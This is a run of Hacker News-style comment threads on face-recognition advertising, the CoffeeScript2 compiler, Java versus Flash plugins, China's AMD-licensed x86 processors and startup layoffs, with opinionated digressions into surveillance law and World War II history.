In the eyes of the public, he wrote, "effort itself constitutes and measures wealth. To progress is to increase the ratio of effort to result. Its ideal may be represented by the toil of Sisyphus, at once barren and eternal." For the economist, by contrast, wealth "increases proportionately to the increase in the ratio of result to effort. Absolute perfection, whose archetype is God, consists [of] a situation in which no effort at all yields infinite results."_

</comment></comment><comment><USER4> Sounds like stuff from the minority report.

<comment><USER5> But without the creepy Scientology-Cruise baggage.

</comment></comment><comment><USER6> The technology for this sort of recognition integrated with advertising is shoddy at best.

At this year's InfoComm there was quite a number of systems demoing this type of technology - but it could basically only identify one person who was not moving and directly facing the camera.

<comment><USER7> The first part of your statement is true. The face-recognition field suffers from major perceptions issues. Detecting age and gender for demographic-based advertising is possibly feasible.. beyond that.. I have my doubts. Especially at Dunkin' Donuts price point.

The second part is probably also true, but if you think that's true industry wide, feel free to drop by our offices in Pittsburgh (www.pittpatt.com). I've got something to show you :) Hopefully when we get done with the current website rewrite, I'll be able to just link to cool stuff instead of making vague promises.

<comment><USER6> Feel free to send me an email with your contact details to further discuss.

</comment></comment></comment><comment><USER8> So is face recognition technology good enough now to sort through my photos and tag all pictures that have grandma in it? Any information about it would be greatly appreciated. Are there good algorithms that are free to use, or is it a wasteland of patents?

<comment><USER7> So I work at a face recognition start-up.... and the answer to your question is "Yes, but your mileage may vary". Face recognition algorithms in the wild vary in quality by absurd margins. I know our stuff can do a pretty good job of it (because I've done it, internally).

There are websites that are trying to do it. There is a need, however, for local applications that do it (so people aren't uploading all their photos to the web). The real problem is the actual business-case for creating such a product, especially from our perspective. We don't want to make a full-fledged photo application. So how about a plugin? Would people buy it? Should we give it away? Do photo-sharing applications provide a good way for us interface our metadata? etc. etc.

I'm pretty sure if you gave our program a bunch of images, and we gave you an xml file with all the identities, you wouldn't be impressed. So we need a way of interacting with your photosharing application. And photo-sharing applications as "platforms" for plugins don't exactly inspire confidence.

</comment></comment><comment><USER9> I'm going to wear a Palin mask to every Dunkin Donuts Store.

<comment><USER10> _Greetings! Would you like to try our new Moose-flavored iced latte?_

</comment></comment><comment><USER11> I don't care how effective this ends up being - it's creepy. And as another commenter noted: people (including me) will stop going there.

<comment><USER3> Is it almost as creepy as when you pull up to a controlled intersection, and it turns green for you? It's almost as if it recognizes your car as a car.

<http://www.google.com/search?q=traffic+loop>

<http://www.google.com/search?q=%22creeps+me+out%2C+man%22>

<comment><USER11> I think it's way more creepy than that.</comment></comment></comment>


CoffeeScript2 - A Redesign of the CoffeeScript Compiler - <AUTHOR> https://github.com/michaelficarra/CoffeeScript2 <comment><USER2> I don't think it's fair that he should be allowed to use the name "CoffeeScript 2."

I feel that it implies that it's an official project, but it's actually a re- implementation and separate project.

And if they're not backwards compatible it could lead to a ton of confusion and a fragmented language.

I think if you want your own project then you should at the very least get your own name.

<comment><USER3> Fear not. The re-implementation will be completely backwards compatible. It just a smoother compilation pipeline, and adds some output configurability. But regardless, Jeremy and I have decided it would be best to change the name.

<comment><USER4> I will suggest a few alternatives: Winescript, Caffèscript, Browniscript, Shortscript and Rubyscript.

<comment><USER3> The names I suggested were "CoffeeScript: Reloaded", "CoffeeScript Episode II: Attack of the Clones", "The CoffeeScript Supremacy", and "Live Free or CoffeeScript Hard". Technically, right now it's "CoffeeScript II: The Wrath of Khan". Jeremy suggested CoffeeScript Redux. That's probably the best choice, though a little boring.

<comment><USER5> > "Live Free or CoffeeScript Hard".

That would be the fourth version of CoffeeScript. The 2nd version would be "CoffeeScript 2: Script Harder" which is much more awesome.

</comment></comment></comment></comment></comment><comment><USER6> Very much looking forward to seeing how this turns out. To view a list of some of the public-facing things Michael wants to change, take a look here:

<https://github.com/michaelficarra/coffee-of-my-dreams>

<comment><USER7> He wants to remove semicolons except where absolutely necessary?

Is he nuts? The compiled output shouldn't be relying on an error-correction feature. Especially since it might break minifiers and validators.

<comment><USER8> I recognize the minifier significance. But wait, there are validators (!?) that choke on valid (!) syntax?

<comment><USER9> Also, any minifier that turns valid javascript into invalid javascript is broken, full stop.

<comment><USER8> Yes yes, but some do, it was a giant flame war, and I'll admit that it can be a practical issue (if not a correctness one) for javascript to rely on automatic semicolon insertion if it means you can't use your minifier of choice.

But trying to use a "validator" that validates a languages other than the one you are writing is just plain insane.

</comment></comment></comment></comment></comment><comment><USER10> Forgive me for being skeptical, but it seems to me that CoffeeScript is going the way of Lisp: a language by hackers for hackers, with way too many incompatible implementations because each implementer has their own pet features that must be included.

<comment><USER6> Whoops -- I think you're missing a big part of the point of compiling into "standard" JavaScript. Not only is CoffeeScript code fully compatible with any JS library ... it's also compatible with code generated by any version of the compiler, and with code generated by alterna-compilers like Coco, and eventually this project as well. The semantic compatibility exists at the "plain 'ol" JS level.

<comment><USER11> That only solves part of the problem. It's still a big pain to have different syntax dialects and different tools that have to be used for different projects that are ostensibly written with the same language, even if they are compatible after you compile them to JS.

</comment></comment></comment><comment><USER12> The phrase "proper compiler-design principles" really gets on my nerves for some reason. It instantly makes me doubt the ability of the person saying it. It seems to say "I've heard of Lex/Yacc and once glanced at the Dragon Book".

Anyway, I gather the OP is a coffeescript core contributor, so my default opinion is probably wrong in this case, hopefully.

</comment><comment><USER13> This and nine more CoffeeScript derivates* from people who rather like to fragment a landscape with marginal improvements instead of supporting the leading pack are the reasons that CoffeScript hasn't reach critical mass and will fail as a standard.

* [https://github.com/jashkenas/coffee-script/wiki/List-of-lang...](https://github.com/jashkenas/coffee-script/wiki/List-of-languages-that-compile-to-JS)

<comment><USER14> CoffeeScript hasn't attained critical mass? It's the 10th most popular language on github[1], over a decade younger than all the other contenders, and growing quickly.

Even if CoffeeScript was as niche as you argue, I'm not convinced that that would have any bearing on its success. CoffeeScript doesn't need a wide community to achieve success because it compiles to and is completely interoperable with JavaScript, the most popular programming language.

[1]: <https://github.com/languages>

<comment><USER13> Regarding the front end side the CoffeeScript adoption is high and mainly driven by Rails but if you look at the back end it's different: CoffeeScript could not established with Node (most npm packages are in plain JS) and mixing Coffee and JS on the backend does not really work out (it's possible though).

</comment></comment></comment><comment><USER15> I am ok with anything @jashkenas blesses.

Thanks Groupon and others for supporting this, I would agree with commenters that name is confusing.

</comment><comment><USER16> Here is a relevant groupon blog post: [https://engineering.groupon.com/2012/javascript/looking- forw...](https://engineering.groupon.com/2012/javascript/looking-forward-to- an-interesting-summer/)

How about multiple backend support? Perhaps then someone could add a dart or NaCl backend.

<comment><USER17> CoffeeScript relies heavily on the underlying JavaScript semantics (which is one of the main reasons it's so useful: It's Just JavaScript) so other backends would most likely be a lot harder to do than the JS one.

</comment></comment><comment><USER18> So... I hope this isn't the future of updates to open source projects... crowd fund us or we won't do it... starting to see a pattern projects using this technique (albeit none are out rightly saying them won't its just implied)... not sure its a healthy development myself.

<comment><USER19> It is an excellent development. It means developers can finally start to live from _independent_ open source development. This is not and never will be a replacement for hobby opensource, because that is done by developers who just want to do it, it would not make sense for them to threaten to not do it if we don't give them money. This is for the people who contribute to opensource, but also have a day job developing low-impact closed source commercial software, who don't have time or energy for large refactorings and rewrites.

"Crowd fund us or we won't do it" sure is a lot better than "We won't do it".

</comment></comment><comment><USER20> When I saw the empty repo (just with the README) and before reading the kickstarter page or comments here, I thought it was another vapor.js-like joke as a compliment to the original compiler, which IMO does it very well.

</comment><comment><USER21> This looks like a great project. Wish I would have known about the Kickstarter campaign for it sooner. Can't wait to try it out.</comment>


Java applet vs Flash for browser plugin? - <AUTHOR>

Which would you recommend? <comment><USER2> Neither, if possible. What are you trying to do?

But definitely not Java. I guess that leaves Flash.

</comment><comment><USER3> from your previous posts I'm assuming you want to do audio capture.

I looked at this problem before and here is what I found:

Java

Pros: Free, hosting is not a problem, plenty of java programmers and resources in the world Cons: Java Sound is still fairly primitive and obtuse imo, u must sign your applet to get permissions to record sound, users think java applets are so 90s

Flash

Pros: Seems easy and straightforward, good interface, users like it better than java Cons: Expensive. Flash comm server which you need is thousands of dollars, hosting for it is also very expensive,

<comment><USER4> As far as Flash goes there are a few open-source or free media servers out there. Red 5 is probably the most popular. A couple of the startups that went through Y Combinator have some experience with it. Justin.TV just went ahead and wrote their own...

<comment><USER5> It says a lot about the state of open RTMP media servers that JustinTV's choice to write their own was absolutely justified.

</comment></comment></comment><comment><USER6> I have used flash with red5 with no issues (so far). I use the flex compiler.

</comment><comment><USER7> plz give me idea for free hosting red5 application..</comment>


Ask HN: Any tutorial that explains the secure way of doing user authentication? - <AUTHOR> So I am a beginner, working on my first project without any tutorials. One thing I am stuck on is how to do user authentication, most resources I have found till now explains how to use a particular lib for authenticating users, but my concept behind authentication is still kinda foggy. What I am looking for is an overview of what happens or needs to be done for user authentication in a language agnostic way. <comment><USER2> 1\. May be outsource your user authentication to Google/Twitter/GitHub/Facebook or other identities via Open ID Connect.

2\. Have you taken a look here - [https://auth0.com/](https://auth0.com/)

3\. YouTube is another source</comment>


Perfect secrecy cryptography via mixing of chaotic waves in [ ] silicon chips - <AUTHOR> https://www.nature.com/articles/s41467-019-13740-y <comment><AUTHOR> Not the author :)

From article:

      We have demonstrated a protocol for a perfect secrecy cryptography that uses CMOS-compatible fingerprint silicon chips, which transmit information on a public classical optical network. The system's security is evaluated following the Kerckhoff principle. The second law of thermodynamics and the exponential sensitivity of chaos prevents the attacker from getting any information on the key being exchanged by the users. The protocol proposed is fully compatible with the techniques of privacy amplification and information reconciliation already developed for QKD. Beyond the initial communication required for authenticating the users, the system does not require electronic databases, private keys, or confidential communications. Combined with the technological maturity, speed, and scalability of classic optical communications, the results show a open pathway towards implementing perfect secrecy cryptography at the global scale with contained costs.</comment>


China Begins Production Of x86 Processors Based On AMD's IP - <AUTHOR> https://www.tomshardware.com/news/china-zen-x86-processor-dryhana,37417.html <comment><USER2> Interesting Move. If you base your assumptions on Peter Zeihan and his Book the Absent Superpower, this would basically be China trying to get as much manufacturing out of the US as possible to force it to be a customer of Chinese goods indefinitely and secure access to the US consumers. In this case it obviously has also strategic value, as China can also securely supply his military with "clean" chips.

I can only recommend watching one of his talks on YT for a different pov regarding world politics: [https://youtu.be/feU7HT0x_qU](https://youtu.be/feU7HT0x_qU)

<comment><USER3> >Peter Zeihan

Man, he cooks his digits and "facts" haard. What is his point? He pulls out his "revelations" just to advance himself as think tank academician/strategy consultant

<comment><USER2> Might be the case, I stumbled upon him just two weeks ago but didn't find much critic of his work. I'd love to hear any.

<comment><USER4> FWIW, I watched one of his videos also just 2 weeks ago:

[https://www.youtube.com/watch?v=feU7HT0x_qU](https://www.youtube.com/watch?v=feU7HT0x_qU)

He describes that the US is now in a position to isolate itself and will do so. While I largely would assume that's a valid prediction, I believe he forgot to mention one fact:

The USD will (in the scenario he described) lose a lot of value (why should foreigners hold US debt or currency in his scenario?) to a degree that will lead to major calamities in the US. Those in turn affect the politicians in a way, that usually leads to scapegoating others (the Chinese, the Europeans, the Russians, ...) and possibly even to a distraction war (you know, show strength, punish the others who really deserve it, we all must stand together now, ...).

That whole thing will be a major counterforce to the isolationism he predicts.

</comment></comment></comment></comment><comment><USER5> This is really good for the consumers, since the Chinese are free to innovate instead of waiting for Intel.

Lately they have been coming out with really good things. The Matebook X Pro is amazing and can easily compete with Dells latest offerings, and Deepin Linux 15.6 has its own very modern user interface that makes it very enjoyable to use. Finally a linux distribution with a good sense of western style and performance, and it comes from China of all places.

Its important to be careful of spyware however, but that goes for American software as well. There is plenty of evidence that NSA is spying on everybody, and probably has access to most Americans emails and web habits already.

<comment><USER6> Well if the US does it too, that's alright then.

Caveat, I'm a European (well a Brit, so almost European) and I'm appalled by US and yes British violations of privacy and surveillance overreach. Things like the threats to cripple or ban private use of strong encryption are appallingly damaging and misguided.

However nations with an elected government accountable to the people doing this stuff is one thing. We still have the right and mechanisms to protest and these protests have frequently made a real difference. strong encryption of private communications is till legal and threats to it have gone nowhere. The fact that governments from multiple political groups, in multiple countries have looked at this and decided that the benefits to their electorate outweigh the dangers offers at least some comfort. It's at least possible that they are right, although I would prefer much stronger checks and balances.

Pervasive active harvesting, analysis, intervention, censorship and subsequent punishments of 'private' communication by a totalitarian state, with the open goal of enforcing ideological obedience is not the same thing, and it's not ok. At all.

<comment><USER7> The issue with your comment is that it's absurd. You are complaining about US overreach, so presumably your basis for judgement should be the situation in the UK.

Does the UK do mass-surveillance of it's own and foreign citizens, on UK soil and outside ? Yes [1]

Strong encryption of private communications is NOT legal in the UK. You have to give the police access when they request it and you cannot use the rights you have in the US to avoid giving this access [2]. (unless you consider strong encryption stuff where you have to make all keys available to the police, border guard, gchq, foreign intelligence services, and others still strong encryption. I don't)

The other huge difference is that the UK refuses to be accountable for their mass surveillance afterwards. In the US a big demand is that there is a paper trail for spying, to the person being spied upon. Granted, this may be buried in something like a phone contract for mass-targeting. When they target you specifically, however, you will be notified (afterwards, if the judge so decides, but can even be beforehand), and failure to do this makes the spying illegal. Furthermore, this gives private individuals and companies the option to sue to have the police/FBI/NSA/DEA/... explain themselves (and more generally the US state).

In the UK however:

1) No notification is given to the person being spied upon. The state just does it.

2) There is no recourse. If you were spied upon because a police officer wanted to be your boyfriend and needed to know where your actual boyfried was to beat him up, that's legal. [3] (yes, I realize these guys got fired, however, their actions were ruled legal)

3) If anyone in the UK takes the side of the person being spied upon, whether an internet provider, an application provider (ie. outlook.com/fb/gmail/...), they will be vigorously pursued and punished for that. This is highly illegal.

4) The UK has cooperation treaties (ie. EU treaties, and others) that let police officers in ~70 countries spy on British citizens (I heard that these treaties were used to install a phone tap, yes really, on Angela Merkel's phone. Yes, that Angela Merkel. The utter incompetence is baffling in it's scope. And yes, the guy (an officer) did this as a joke and got fired for it)

So to say I don't understand your criticism here massively understates the situation ... Obviously, as a UK citizen you've got some more local problems to sort out before you criticize the US.

In reality, the UK/EU is pushing these news articles and blowing up cooperation for EXACTLY the opposite reason : they don't want increased privacy for people, they want to further reduce it. They want the US to honor spying requests without respecting US law. They don't want Facebook to ask "can you explain why this is really necessary" when a police officer is asking for the exact location of EU citizens. They don't want to give reasons, and they certainly don't want the person to be told afterwards (and potentially sue them). They want full FB and instagram chat logs in every divorce case. They want ever single email a person ever sent in every commercial dispute. They want every police force and secret service in Europe to have access to every Europeans every mail, immediately, with zero oversight or tracking, and especially without any paper trail available to their victims. THAT's what Europe is fighting for.

THAT's what they're calling "US surveillance overreach".

Well, that, and the fact that the US successfully recorded some rather high level conversations between Merkel and Macron and managed to get caught doing it. In other words, they're incompetent, and angry. And of course, that's the US's fault (despite, of course, that Germany was also caught attempting to bug Obama, and caught having successfully bugged several high level officials before getting caught). And of course, they're angry for Trump getting elected (if you don't believe me, watch this [4], and listen to the questions).

That's why there is this campaign of "the US is horrible on privacy". There is "no cooperation". But, sadly, the US is the champion of privacy in this particular fight.

[1] [https://en.wikipedia.org/wiki/Mass_surveillance_in_the_Unite...](https://en.wikipedia.org/wiki/Mass_surveillance_in_the_United_Kingdom)

[2] [https://techcrunch.com/2017/09/25/traveler-who-refused-to- gi...](https://techcrunch.com/2017/09/25/traveler-who-refused-to-give-device- passwords-to-police-found-guilty-of-obstruction-in-uk-court/)

[3] [http://www.dailymail.co.uk/news/article-1371833/20-police- of...](http://www.dailymail.co.uk/news/article-1371833/20-police-officers- dismissed-using-force-spy-neighbours-partners.html)

[4] [https://www.youtube.com/watch?v=Y70LrlzrkNk](https://www.youtube.com/watch?v=Y70LrlzrkNk)

<comment><USER8> Agreed. The UK is very clearly the least free of all "western" countries. You're only touching on government surveillance. There are other aspects too, like super injunctions.

I say that as someone with a UK passport.

<comment><USER7> Most of the problems are actually EU-wide, even including a few not-quite-EU countries.

I wonder why this is being downvoted so badly.

<comment><USER8> Yeah, for freedom of speech you can simply see where Nazi websites are hosted. It's not the EU.

But the UK really stands out within the EU.

<comment><USER9> I don't think that is related. A lot of the Nazi websites are hosted via HostKey in Russia. In fact, some of these websites were used to start "white power" rallies in the US just to stir up the hornets nest. I'm a fan of free speech, but am generally against Nazis as a concept. We fought a war over this :)

<comment><USER10> But it is. If people/their government are not prepared to defend what's unpleasant for them, it means they're not entirely dedicated to free speech in Voltaire's sense ("I disagree with what you say, but I will defend to the death your right to say it"). Who knows, what minority opinion will they decide to ban next?

<comment><USER11> I don't think anyone should be dedicated to Voltaire's sense of free speech, as it's a ludicrously absolutist position. I'm fairly certain that in Voltaire's time, they didn't have coordinated harassment/doxxing campaigns on social media.

<comment><USER8> You don't think (coordinated) harassment existed before social media?

Please.

(and doxxing is not about expressing your thoughts and ideas)

<comment><USER11> "You don't think (coordinated) harassment existed before social media?"

Where on earth did I say that? You cannot deny, however, that it is far more prevalent.

And that doesn't stop people from crying "censorship" when people who dox get banned from Twitter.

<comment><USER8> Here:

> I'm fairly certain that in Voltaire's time, they didn't have coordinated > harassment/doxxing campaigns on social media.

Harassment: Existed.

Doxxing: Off topic. Not thoughts and opinions. (Voltaire said "disagree". You don't agree or disagree about someone's home address or real name)

Social media: We live in a more connected world. In a less connected world the same effects would be had in your local community.

> And that doesn't stop people from crying "censorship" when people who dox > get banned from Twitter.

Straw man. Also publishing other people's copyrighted works is not censorship.

You're changing the topic. doxxing (which you have now brought up TWICE) has nothing to do with it.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER3> Also, It is not true that China never had own from scratch designed "cores." It had not one, but like 4 different families, with one being their own custom ISA (iCube.)

I as a person who meets people from Qinghua university group on 1 in every 3 industry events, I can tell. The _one and only_ reason the huge lump of money was dished on yet another "national" chip is because the "national OS" is still is the pirated Win XP from around 2005. And according to opinion of augustly officials, no performance metrics command merit if the chip can't run it.

There is one individual from Unigroup who is the sole person responsible for bringing "the national chip" to the MofCom on a golden platter. At around 2010, MofCom announced near one hundred grants available for the chip maker who can make that chip. NuFront was one of contenders (The company's sole purpose originally was to contend for that huge grant.) Their meeting with that guy was very short. They went to him to deliver presentation about the product. Midway, he interrupted them and asked this question: "can it run Windows?," and the next words in their conversation were "no" and "bye"

<comment><USER12> > the "national OS" is still is the pirated Win XP from around 2005

I wonder why China doesn't adopt a national policy of moving to an OS it can control, such as Linux? (Possibly in conjunction with Wine for backward compatibility, or if they want something more Windows-like, maybe ReactOS.)

Whatever limitations an open source OS stack may have, surely with enough funding those limitations could be overcome, and surely the Chinese government can afford to fund that.

<comment><USER3> They certainly tried. But I can imagine that it all also broke down when "some official" factor kicked it.

First builds of red flag linux were copying WinXP "pixel for pixel," most likely just to prevent yet another official like that asking something like "where is the start button?"

[https://www.theregister.co.uk/2014/02/14/china_shutters_wind...](https://www.theregister.co.uk/2014/02/14/china_shutters_windows_rival_red_flag_linux/)

</comment></comment></comment><comment><USER13> > But here's where things get tricky. AMD holds a 51 percent stake in HMC, > while Tianjin Haiguang Holdings owns 49%. Meanwhile, AMD owns 30% of Hygon > and Tianjin Haiguang Holdings owns 70 percent.

> HMC owns the x86 IP and ends up producing the chips, which satisfies the AMD > and Intel x86 cross-licensing agreements because the IP remains with a > company owned primarily by AMD. But AMD provides the IP with the > understanding that the company will use it to design its "own products > specifically tailored to the needs of the Chinese server market." That > requires quite a bit of maneuvering given the restrictions of AMD's x86 > cross-licensing agreement with Intel.

> To stay within the legal boundaries, HMC licenses the IP to Hygon, which > designs the x86 chips and then sells the design back to HMC.

> HMC then employs a foundry to fab the end product (likely China Foundries or > TSMC). Confusingly, HMC then transfers the chips back to Hygon (the same > company that designed them), which then sells the Dhyana processors.

Let's call this what it is -- IP laundering.

</comment><comment><AUTHOR> I feel this is important, one of the things China has felt they have been held back on is chip production, especially something like the x86 and x64 chips. Now they are good to go on something that is a national priority. They can produce hundreds of thousands of cpu's as many as they want now with no limitations from the US Government since now they can do it locally.

<comment><USER14> _one of the things China has felt they have been held back on is chip production_

Really? They have a decent MIPS story there, have had for a while.

[https://en.wikipedia.org/wiki/Loongson](https://en.wikipedia.org/wiki/Loongson)

[https://en.wikipedia.org/wiki/Dawning_Information_Industry#D...](https://en.wikipedia.org/wiki/Dawning_Information_Industry#Dawning_6000)

They could literally have ignored x86, but they are making the same strategic blunder the UK made in the 1980s

<comment><USER15> Yes, MIPS is everywhere in all sorts of consumer devices like routers and cheap Android phones/tablets, but it lacks performance, and also compatibility with existing software.

<comment><USER14> See the second link - they are using MIPS for HPC so it's performance must be adequate

<comment><USER16> MIPS had been used in HPC applications in the past. It's just an ISA, like x86 or ARM, and (these days) has less to do with performance than the CPU architecture and process user to FAB it. Heck, they could even bring back 68k's and make them work well enough.

<comment><USER17> Yep, all you need to do is build a massive out-of-order superscalar pipeline with 8 to 10 execution ports and a very large reorder buffer (150 to 200 uops). And idealy toss in hypertreadding.

Intel has done it with x86, IBM have done it with POWER, AMD have done it with x86 (more or less independently to Intel), Sun/Oracle have done it with SPARC, Apple have done it with ARM and most recently it looks like ARM's Cortex A76 is joining the league.

All these designs look very similar, they are basically variatins on the same archtechure with different front ends.

</comment></comment></comment></comment></comment></comment><comment><USER18> Plus for this manufacturer, the Hygon Dhyana CPUs should work under GNU/Linux:

[http://lkml.iu.edu/hypermail/linux/kernel/1806.1/00730.html](http://lkml.iu.edu/hypermail/linux/kernel/1806.1/00730.html)

</comment><comment><USER19> Seems pretty incredible AMD sold the keys to the kingdom for 1/4th the x86 market for 300millionish.

I'm sure the shenanegans where they get pushed out of china are going to occur after a few years, just like they happened to tons of tech companies before them after they got raided for IP with joint partnerships...

They never had much penetration into China to begin with, maybe they consider it worth it to cut down Intel's influence.

Seems super dangerous if china starts exporting the chips however.

<comment><USER20> Afaik they get per unit royalties too

<comment><USER21> I'm sure they pay that.

[https://www.npr.org/2018/07/06/626683457/judge-orders- chines...](https://www.npr.org/2018/07/06/626683457/judge-orders-chinese-wind- turbine-maker-to-pay-59-million-for-stealing-trade-sec)

</comment></comment></comment><comment><USER22> What I don't understand, is how or why this model works "only" in China as it stays within the x86 license boundary.

Why hasn't Apple, Microsoft Xbox, Sony PS 4 use this route for their semi custom SoC?

<comment><USER23> Xbox One and PS4 use relatively ambitious chips, integrating an AMD multicore x86-64 CPU, with and AMD GPU.

This project seems a good deal more humble: as far as I can tell from the article, they're making single-core 32-bit x86 CPUs, and they aren't touching AMD's GPU solutions.

I imagine it's far easier to get AMD to agree to sign off the licensing agreement given that it doesn't really compete with them. Also it looks far easier to pull off, so there's less reason to have AMD themselves put the work in.

<comment><USER24> Where did you get the idea that these were single core? It said they were using EPYC designs, which are many-core high end server chips (like Xeon).

<comment><USER23> Oops, I missed that.

So it's going to be multicore x86-64 then.

</comment></comment></comment></comment><comment><USER25> I have a sense that what happened to Detroit is about to happen to Silicon Valley. Detroit once had some of the highest median salaries (and home values) in the nation. Then Japan came and decimated what had become a fat and lazy domestic auto industry. China could easily do this to American chip makers, removing a key cornerstone of Silicon Valley's tech leadership.

Meanwhile a lot of newer innovators in areas like software and custom hardware have already gone elsewhere. People are rationally concluding that the benefits of Silicon Valley are outweighed by its insane cost of living and that those same benefits can be obtained in other ways, so they're doing their work elsewhere. I personally know of several startups that maintain fake Silicon Valley mailing addresses while being located in places like Southern California, Denver, Indianapolis, or Nashville. They keep the address for its silly prestige value since if it says "Palo Alto" on your contact page people who aren't knowledgeable think it means you're cutting edge.

Another big benefit of the Bay Area -- namely one of the most interesting cultural environments in the world -- has also been largely priced out and decimated by the local real estate bubble. That eliminates yet another draw. People might pay a lot to live in a fascinating city full of cutting edge culture and interesting people but not to live in a glorified office park.

I see a future SV tech scene that's largely hollowed out and dominated by social media, an industry toward which the public is becoming increasingly hostile as they realize it's all about surveillance and mass manipulation. Chips go to China and newer startups go to cities with saner costs of living.

<comment><USER26> SV has a good weather, which can keep the real estate bubble.

<comment><USER25> So do loads of other more affordable places.

</comment></comment></comment><comment><USER27> As far as I know, China does not possess the newest semiconductor machines. Either it will create these chips via TSMC, or they will use a lower resolution and less powerful chips. I wonder if they can make something competitive.

<comment><USER28> I'm sure ASML will happily sign them up as a customer.

<comment><USER29> Up until an American company acquires it like they did with NXP and booking.com.

</comment></comment></comment><comment><USER30> This is going to be interesting. Such a partnership will avoid another ZTE- like scenario so this is a win for China. However this is probably going to place AMD in the crosshairs of the US administration. Let's see how this turns out for AMD.

<comment><USER31> How does this compare to the US Government stopping Intel in 2015? Does this wipe out everything good we have heard from AMD in recent times?

</comment></comment><comment><USER32> Here is the Linux kernel patch [https://patchwork.kernel.org/patch/10455791/](https://patchwork.kernel.org/patch/10455791/)

</comment><comment><USER33> Are they going to hit retail shelves or what? It'll be interesting to see if they do.

I was interested in getting one of those Chinese MIPS machines (based on the 3A2000), but they seem to have all but evaporated.

<comment><USER34> Whatever happened to Loongson?

<comment><USER33> Don't know. I have yet to actually see anywhere to buy one. It's all email or phone and I've done both from China and Hong Kong and never got a reply.

<comment><USER35> They exist; Richard Stallman has one in a laptop.

</comment></comment></comment></comment><comment><USER36> Backdoor Inside™

<comment><USER37> This time it is their's backdoor at least.

Intel AMT and AMD TrustZone were suspected as US intelligence backdoors for long time.

Countries like Russia prohibit use of foreign CPUs in any strategic and military application. I bet China doesn't run Intel/AMD CPUs in government offices too.

<comment><USER38> Nobody who knows how AMT or TrustZone works thinks that they are a US intelligence backdoor.

China runs Intel/AMD CPUs in government and so does Russia.

<comment><USER39> You missed the part about "strategic and military use" for Russia, don't know well about chinese rules.

</comment></comment></comment></comment><comment><USER40> I really don't get why the West is gifting all this technology to a competitor. By now it should be clear that in all cases of these joint ventures the only goal is to eventually clone the product. They have ripoffs of high-speed trains, military equipment and so on. I guess this is also how Japan caught up after WWII, but there the US has still ~60000 soldiers on the ground and significant long term ties.

<comment><USER5> You say ripoff, but its more like improvements of products. Everybody steals ideas from everybody, thats how it works. Otherwise cars would only exist in the US.

Japan was winning that war until US dropped the atomic bombs and killed a lot of innocent people. Im not sure how that is something to be proud of.

<comment><USER41> Between 1937 and 1945 Japan invaded china massacring hundreds of thousands of civilians and joined a monster in his murderous crusade to take over the world in the hopes that some of the spoils would stick to their hands.

In the course of the war 50-80 million died. Their people consistently showed a lack of humanity and even basic decency. War crimes were common. They ate our gis.

In Unit 731 their biological warfare research unit they performed experiments as horrifying as Mengle on innocent chinese civilians and prisoners of war.

[https://unit731.org/](https://unit731.org/)

These people were infected with biological agents and many were dissected screaming while they were alive.

The Japanese must ultimately be accountable for their leaders actions as we are. It would be morally wrong to kill unnecessarily but if blood had to be shed to stop the spread of evil I think it was just that it was the blood of the guilty.

I find it interesting that nationalists from your nation have convinced you Japan was winning they weren't they were being driven back and the war was coming to their shores.

They were by dint of inferior production capabilities and resources doomed to lose the war by the time the bombs were dropped although it is certain they would have fought furiously civilian and military alike.

The big question in fact is was dropping the bomb necessary or would it have been feasible to secure japans surrender without spending more blood from both sides than would be lost in the bombing.

<comment><USER42> Is this place history class or CPU article comment?

<comment><USER43> Both! And much more, that's the beauty of comment sections.

</comment></comment></comment></comment></comment><comment><USER44> Summary: AMD has found a legal loophole to sell out critical x86 chip design IP to the Chinese for a cash infusion of 300+ million. Expect to see knock off copies emerge and AMD ultimately get pushed out of China in favor a local company that has their IP in hand. Their executives are either stupidly naive and in for a major shock, or plain greedy/desperate and willing to sell out the West for 300 million cash. If so then its IP laundering in my opinion. I hope the US gov regulators roast them for this. I plan to avoid their products as much as possible now.

</comment><comment><USER45> How long till EYPK chips show up on AliExpress?

</comment><comment><USER46> What motherboards are available for these? Anyone have URLs for manufacturer datasheets, etc?

Or are they pin and chipset compatible with existing ryzen boards?

</comment><comment><USER47> I wonder if China's chips have something like Intel Management Engine?

</comment><comment><USER48> This will definitely be part of the us Trade War going on.

</comment><comment><USER49> i wonder if they'll make multi socket motherboards. as manufacturers struggle to go smaller they could spread the thermal load over multiple chips.</comment>


The startup from Ipanema - <AUTHOR> http://recode.net/2014/04/15/the-startup-from-ipanema/

<comment><USER2> The link is not related to the post</comment>


Operation Backfire – A4 V2 German Rocket Documentary von Braun - the-dude https://www.youtube.com/watch?v=80DzifHHIxk <comment> the-dude Top YT comment ( and I agree ) :

This is absolutely priceless footage. To show this level of detail and remembering that we are talking about an engineering process developed during the early 1940s and under war time conditions is incredible. There are just too many technical details which are fascinating to be mentioned - the whole process is a real testament to the brilliance of everyone involved.</comment>


Layoffs at stealth payment startup Clinkle  - <AUTHOR> http://finance.fortune.cnn.com/2013/12/09/layoffs-clinkle/ <comment><USER2> I think this is their big problem:

[https://twitter.com/mrgan/status/384780273721696256](https://twitter.com/mrgan/status/384780273721696256)

—"I'd like to, uh… "pay with clinkle."

—"Excuse me?"

—"Uh, pay with… clinkle?"

—"Do you need the key to the restroom?"

—"Pay… with… clinkle"

</comment><comment><USER3> Apparently the culture there is pretty poor...

[http://www.quora.com/Clinkle/What-is-it-like-to-work-at- Clin...](http://www.quora.com/Clinkle/What-is-it-like-to-work-at- Clinkle/answers/3579130)

</comment><comment><USER4> This may have no basis in reality, but I get a sense that there's an inverse relationship between the amount of hype a "stealth" startup gets and how successful it is. Or at the very least, if not directly inverse, the hype factor does little to actually promote success.

Color, Snocap, Asana, Cuil, etc. I feel like the more hype, the more stealthy, the worse they end up doing.

But I know this can't be right (or rather I hope not). Anyone have some good counter-examples (Hype => Win)?

<comment><USER5> I don't really have another example (maybe Diaspora, what are they up to?).

I hadn't seen Cuil in a long time and had to look it up. Looks like 2008 was the dawn of the Cuil theory, internet nostalgia feels odd.

<comment><USER6> IIRC, one of the Diaspora guys committed suicide a few years ago. :(

</comment></comment></comment><comment><USER7> When do we drop the word "stealth"? I think raising a noteworthy funding round and having articles on CNN are both good indicators the startup is anything but.

<comment><USER8> Stealth is not a synonym for visibility, it's a synonym for zero revenue.

<comment><USER9> Really? I'd think "Broke" would be a much better word than Stealth. What, are they trying to sneak up on a dollar?

</comment></comment></comment><comment><USER10> Oh wow, another startup has to lay people off. Why should we care every time a volatile organization realizes that they're not making money and can't afford to pay people? Isn't that the nature of working at startups?

